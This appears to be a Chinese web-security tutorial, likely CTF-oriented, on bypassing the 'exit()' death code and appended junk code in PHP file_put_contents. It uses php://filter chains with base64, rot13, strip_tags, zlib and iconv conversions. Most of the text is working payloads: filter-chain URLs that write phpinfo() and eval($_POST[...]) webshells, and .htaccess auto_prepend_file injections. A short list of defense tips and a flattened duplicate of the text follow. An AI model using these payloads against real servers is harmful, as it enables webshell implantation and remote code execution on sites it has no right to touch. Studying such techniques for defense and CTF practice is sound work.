file_put_content和死亡·杂糅代码之缘
字数 874 2025-08-19 12:41:56

PHP中file_put_contents的绕过技术详解

引言

本文详细分析PHP中file_put_contents函数的三种常见限制情况及其绕过方法,主要利用PHP伪协议filter结合编码转换或过滤器来分解死亡代码或杂糅代码。

三种常见情况分析

情况一:文件名和内容可控

file_put_contents($filename, "<?php exit();".$content);

绕过方法:

  1. Base64编码绕过

    $filename = 'php://filter/convert.base64-decode/resource=s1mple.php';
    $content = 'aPD9waHAgcGhwaW5mbygpOz8+'; // 注意前面补'a'保持4字节对齐
    
    • 原理:base64解码将死亡代码转为乱码
    • 注意:需保持4字节对齐,前面补字符
  2. rot13编码绕过

    $filename = 'php://filter/string.rot13/resource=s1mple.php';
    $content = '<?cuc rkvg();?>' . 'cucvasb();';
    
    • 注意:服务器开启短标签时可能被解析
  3. .htaccess预包含利用

    $filename = 'php://filter/write=string.strip_tags/resource=.htaccess';
    $content = '?>php_value%20auto_prepend_file%20G:\s1mple.php';
    
    • 原理:过滤HTML标签消除死亡代码
    • 限制:PHP7.3.0+废弃此过滤器
  4. 过滤器组合拳

    • PHP5环境:
      $filename = 'php://filter/string.strip_tags|convert.base64-decode/resource=s1mple.php';
      $content = '?>PD9waHAgcGhwaW5mbygpOz8+';
      
    • PHP7环境:
      $filename = 'php://filter/zlib.deflate|string.tolower|zlib.inflate|/resource=s1mple.php';
      $content = 'php://filter/zlib.deflate|string.tolower|zlib.inflate|?> <?php %0dphpinfo();?>';
      

情况二:单一变量控制

file_put_contents($content, "<?php exit();".$content);

绕过方法:

  1. .htaccess预包含

    ?content=php://filter/write=string.strip_tags/?>php_value%20auto_prepend_file%20G:\s1mple.php%0a%23/resource=.htaccess
    
  2. Base64编码绕过

    • 直接方式(可能失败):
      php://filter/convert.base64-decode/PD9waHAgcGhwaW5mbygpOz8+/resource=s1mple.php
      
    • 改进方式(过滤器嵌套):
      php://filter/string.strip.tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8%2B.php
      
    • 伪目录方式:
      php://filter/write=string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8%2B/../s1mple.php
      
  3. rot13编码

    php://filter/write=string.rot13|<?cuc cucvasb();?>|/resource=s1mple.php
    
  4. convert.iconv编码转换

    • UCS-2编码(2位一反转):
      php://filter/convert.iconv.UCS-2LE.UCS-2BE|?<hp pe@av(l_$OPTSs[m1lp]e;)>?/resource=s1mple.php
      
    • UCS-4编码(4位一反转):
      php://filter/convert.iconv.UCS-4LE.UCS-4BE|hp?<e@%20p(lavOP_$s[TS]pm1>?;)/resource=s1mple.php
      
    • UTF-8与UTF-7转换:
      php://filter/write=PD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8+|convert.iconv.utf-8.utf-7|convert.base64-decode/resource=s1mple.php
      

情况三:内容追加杂糅代码

file_put_contents($filename, $content . "\nxxxxxx");

绕过方法:

  1. 利用语言特殊标记

    • 如PHP的<?php ?>标记可忽略后面杂糅代码
  2. .htaccess文件处理

    • 使用注释符处理杂糅代码:
      $content = "# 注释内容 \\\nphp_value auto_prepend_file flag.php";
      
    • 注意:格式敏感,错误会导致文件锁死

技术原理总结

  1. 编码转换:利用base64、rot13等编码使PHP引擎无法识别死亡代码
  2. 过滤器链:多个过滤器组合使用,层层处理原始内容
  3. 文件包含:通过.htaccess预包含目标文件
  4. 编码扰乱:使用iconv进行字符编码转换扰乱原始内容

环境限制说明

  1. PHP版本差异:

    • string.strip_tags在PHP7.3.0+废弃
    • 部分过滤器仅在特定版本有效
  2. 服务器配置:

    • 短标签配置影响rot13效果
    • .htaccess文件权限和配置

防御建议

  1. 严格过滤用户输入
  2. 禁用危险协议和过滤器
  3. 使用最新PHP版本
  4. 对文件操作进行权限控制

参考文献

  1. 关于file_put_contents的一些小测试
  2. Wanghaoran-s1mple的相关文章
PHP中file_ put_ contents的绕过技术详解 引言 本文详细分析PHP中 file_put_contents 函数的三种常见限制情况及其绕过方法,主要利用PHP伪协议filter结合编码转换或过滤器来分解死亡代码或杂糅代码。 三种常见情况分析 情况一:文件名和内容可控 绕过方法: Base64编码绕过 原理:base64解码将死亡代码转为乱码 注意:需保持4字节对齐,前面补字符 rot13编码绕过 注意:服务器开启短标签时可能被解析 .htaccess预包含利用 原理:过滤HTML标签消除死亡代码 限制:PHP7.3.0+废弃此过滤器 过滤器组合拳 PHP5环境: PHP7环境: 情况二:单一变量控制 绕过方法: .htaccess预包含 Base64编码绕过 直接方式(可能失败): 改进方式(过滤器嵌套): 伪目录方式: rot13编码 convert.iconv编码转换 UCS-2编码(2位一反转): UCS-4编码(4位一反转): UTF-8与UTF-7转换: 情况三:内容追加杂糅代码 绕过方法: 利用语言特殊标记 如PHP的 <?php ?> 标记可忽略后面杂糅代码 .htaccess文件处理 使用注释符处理杂糅代码: 注意:格式敏感,错误会导致文件锁死 技术原理总结 编码转换 :利用base64、rot13等编码使PHP引擎无法识别死亡代码 过滤器链 :多个过滤器组合使用,层层处理原始内容 文件包含 :通过.htaccess预包含目标文件 编码扰乱 :使用iconv进行字符编码转换扰乱原始内容 环境限制说明 PHP版本差异: string.strip_tags 在PHP7.3.0+废弃 部分过滤器仅在特定版本有效 服务器配置: 短标签配置影响rot13效果 .htaccess文件权限和配置 防御建议 严格过滤用户输入 禁用危险协议和过滤器 使用最新PHP版本 对文件操作进行权限控制 参考文献 关于file_ put_ contents的一些小测试 Wanghaoran-s1mple的相关文章